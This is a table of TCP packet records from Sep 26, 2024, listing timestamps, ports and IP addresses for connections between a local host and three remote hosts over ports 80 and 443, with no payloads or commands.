Sep 26, 2024 15:11:18.981884956 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981914043 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.981942892 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.025549889 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.026696920 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.026767015 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.026802063 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.026834011 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.026866913 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.026873112 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.026896000 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.026902914 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.026938915 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.026967049 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.026989937 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.027014017 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.065156937 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.065207958 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.065259933 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.065291882 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.065320969 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.065345049 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.065356016 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.065378904 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.065414906 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.065448046 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.065496922 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.065527916 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.065561056 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.065567970 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.065567970 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.065610886 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.065613031 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.065648079 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.065697908 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.065730095 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.065763950 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.065797091 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.065845966 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.065879107 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.065901041 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.065901041 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.065901041 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.065912008 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.065942049 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.065956116 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.065984011 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066009998 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.066032887 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066066027 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066096067 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066101074 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.066121101 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.066128969 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066183090 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066231966 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066232920 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.066267014 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066298962 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066332102 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066339016 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.066339016 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.066380978 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066415071 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066447973 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066478968 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.066481113 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066499949 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.066514969 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066546917 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066581964 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066589117 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.066622972 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066653967 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066684961 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.066698074 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066731930 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066781044 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066797972 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.066812992 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066847086 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066879034 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066919088 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.066919088 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.066919088 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.066929102 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066962957 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.066996098 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.067023039 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.067047119 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.067080021 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.067111015 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.067147017 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.067178965 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.067179918 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.067204952 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.067214012 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.067246914 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.067272902 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.067280054 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.067286015 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.067312956 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.067344904 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.067361116 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.067401886 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.067420006 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.067425013 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.067456961 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.067491055 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.067507982 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.067523956 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.067559004 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.067593098 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.067625999 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.067648888 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.067648888 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:19.067662001 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:19.067703962 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:22.510935068 CEST	49734	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:22.515827894 CEST	80	49734	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:22.516021013 CEST	49734	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:22.518721104 CEST	49734	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:22.523567915 CEST	80	49734	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:23.195749044 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:23.195804119 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:24.738370895 CEST	80	49734	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:24.742810965 CEST	49734	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:24.747601986 CEST	80	49734	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:25.497478962 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:27.125816107 CEST	80	49734	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:27.162182093 CEST	49736	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:27.162237883 CEST	443	49736	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:27.162338972 CEST	49736	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:27.166398048 CEST	49736	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:27.166409016 CEST	443	49736	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:27.181770086 CEST	49734	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:27.624073982 CEST	443	49736	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:27.624160051 CEST	49736	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:27.626831055 CEST	49736	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:27.626842022 CEST	443	49736	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:27.627268076 CEST	443	49736	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:27.669369936 CEST	49736	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:27.750585079 CEST	49736	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:27.791404009 CEST	443	49736	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:27.890362024 CEST	443	49736	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:27.890470028 CEST	443	49736	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:27.890508890 CEST	49736	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:27.901312113 CEST	49736	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:27.906323910 CEST	49734	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:27.911374092 CEST	80	49734	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:29.087321043 CEST	80	49734	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:29.093688011 CEST	49737	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:29.093738079 CEST	443	49737	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:29.093863964 CEST	49737	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:29.094115973 CEST	49737	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:29.094127893 CEST	443	49737	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:29.134875059 CEST	49734	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:29.554100990 CEST	443	49737	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:29.556214094 CEST	49737	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:29.556250095 CEST	443	49737	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:29.707250118 CEST	443	49737	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:29.707367897 CEST	443	49737	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:29.707418919 CEST	49737	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:29.707829952 CEST	49737	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:29.712263107 CEST	49734	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:29.713871002 CEST	49738	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:29.717461109 CEST	80	49734	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:29.717566013 CEST	49734	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:29.718770981 CEST	80	49738	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:29.718841076 CEST	49738	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:29.718950033 CEST	49738	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:29.724916935 CEST	80	49738	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:31.039762974 CEST	49739	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:31.044655085 CEST	80	49739	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:31.044751883 CEST	49739	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:31.044992924 CEST	49739	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:31.051215887 CEST	80	49739	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:31.307061911 CEST	80	49738	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:31.310309887 CEST	49740	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:31.310362101 CEST	443	49740	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:31.310488939 CEST	49740	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:31.310777903 CEST	49740	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:31.310786963 CEST	443	49740	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:31.353668928 CEST	49738	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:31.619328022 CEST	80	49739	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:31.623229027 CEST	49739	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:31.628164053 CEST	80	49739	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:31.786575079 CEST	443	49740	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:31.788382053 CEST	49740	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:31.788419008 CEST	443	49740	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:31.922955036 CEST	443	49740	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:31.923065901 CEST	443	49740	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:31.923279047 CEST	49740	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:31.923630953 CEST	49740	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:31.927408934 CEST	49738	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:31.928545952 CEST	49741	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:31.932660103 CEST	80	49738	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:31.932753086 CEST	49738	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:31.933337927 CEST	80	49741	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:31.933434963 CEST	49741	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:31.933600903 CEST	49741	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:31.938462019 CEST	80	49741	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:32.513858080 CEST	80	49741	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:32.515516996 CEST	49742	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:32.515577078 CEST	443	49742	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:32.515664101 CEST	49742	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:32.516102076 CEST	49742	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:32.516118050 CEST	443	49742	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:32.556770086 CEST	49741	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:32.889484882 CEST	80	49739	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:32.931771040 CEST	49739	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:32.936624050 CEST	49743	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:32.936670065 CEST	443	49743	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:32.936749935 CEST	49743	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:32.941253901 CEST	49743	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:32.941262960 CEST	443	49743	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:32.974011898 CEST	443	49742	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:32.975548029 CEST	49742	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:32.975580931 CEST	443	49742	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:33.111601114 CEST	443	49742	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:33.111699104 CEST	443	49742	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:33.111761093 CEST	49742	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:33.112250090 CEST	49742	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:33.116808891 CEST	49744	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:33.125741005 CEST	80	49744	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:33.129106998 CEST	49744	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:33.129199982 CEST	49744	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:33.135288000 CEST	80	49744	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:33.422594070 CEST	443	49743	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:33.422674894 CEST	49743	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:33.424287081 CEST	49743	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:33.424309015 CEST	443	49743	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:33.424649954 CEST	443	49743	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:33.478645086 CEST	49743	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:33.484112978 CEST	49743	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:33.527412891 CEST	443	49743	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:33.594644070 CEST	443	49743	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:33.594753027 CEST	443	49743	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:33.595443010 CEST	49743	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:33.603672981 CEST	49743	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:33.610296011 CEST	49739	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:33.615462065 CEST	80	49739	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:33.634578943 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:35.823275089 CEST	80	49744	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:35.823322058 CEST	80	49739	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:35.829971075 CEST	49739	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:35.834942102 CEST	80	49739	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:35.835828066 CEST	49745	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:35.840708017 CEST	80	49745	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:35.840785027 CEST	49745	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:35.840898991 CEST	49745	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:35.845664978 CEST	80	49745	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:35.869277000 CEST	49744	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:36.318698883 CEST	80	49739	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:36.322731972 CEST	49746	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:36.322782040 CEST	443	49746	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:36.322875023 CEST	49746	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:36.323687077 CEST	49746	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:36.323699951 CEST	443	49746	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:36.369266987 CEST	49739	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:36.557346106 CEST	80	49745	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:36.558334112 CEST	49744	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:36.558691978 CEST	49747	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:36.558739901 CEST	443	49747	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:36.558818102 CEST	49747	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:36.559086084 CEST	49747	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:36.559102058 CEST	443	49747	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:36.563586950 CEST	80	49744	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:36.563750029 CEST	49744	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:36.603640079 CEST	49745	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:36.786601067 CEST	443	49746	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:36.788746119 CEST	49746	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:36.788785934 CEST	443	49746	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:36.959506035 CEST	443	49746	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:36.959618092 CEST	443	49746	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:36.959881067 CEST	49746	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:36.960305929 CEST	49746	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:36.964081049 CEST	49739	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:36.965130091 CEST	49748	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:36.969213009 CEST	80	49739	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:36.969317913 CEST	49739	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:36.970074892 CEST	80	49748	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:36.970227957 CEST	49748	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:36.970360994 CEST	49748	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:36.975347042 CEST	80	49748	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:37.019968033 CEST	443	49747	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:37.028426886 CEST	49747	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:37.028461933 CEST	443	49747	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:37.158386946 CEST	443	49747	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:37.158502102 CEST	443	49747	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:37.158586025 CEST	49747	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:37.159135103 CEST	49747	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:37.162548065 CEST	49745	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:37.163877010 CEST	49749	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:37.167783022 CEST	80	49745	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:37.167872906 CEST	49745	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:37.169015884 CEST	80	49749	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:37.169099092 CEST	49749	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:37.169260025 CEST	49749	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:37.174034119 CEST	80	49749	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:38.537262917 CEST	80	49748	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:38.539052963 CEST	49750	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:38.539118052 CEST	443	49750	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:38.539201975 CEST	49750	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:38.539637089 CEST	49750	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:38.539654016 CEST	443	49750	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:38.588015079 CEST	49748	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:39.004311085 CEST	443	49750	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:39.006043911 CEST	49750	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:39.006081104 CEST	443	49750	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:39.157418966 CEST	443	49750	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:39.157531023 CEST	443	49750	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:39.157851934 CEST	49750	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:39.158179998 CEST	49750	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:39.161436081 CEST	49748	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:39.162715912 CEST	49751	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:39.166716099 CEST	80	49748	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:39.167188883 CEST	49748	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:39.167541981 CEST	80	49751	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:39.167614937 CEST	49751	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:39.167714119 CEST	49751	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:39.172502995 CEST	80	49751	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:39.849807978 CEST	80	49749	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:39.854804993 CEST	49752	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:39.859791040 CEST	80	49752	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:39.859884977 CEST	49752	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:39.859986067 CEST	49752	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:39.864758968 CEST	80	49752	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:39.900516987 CEST	49749	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:41.265208960 CEST	80	49751	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:41.266602993 CEST	49753	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:41.266649008 CEST	443	49753	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:41.266733885 CEST	49753	443	192.168.2.12	188.114.96.3
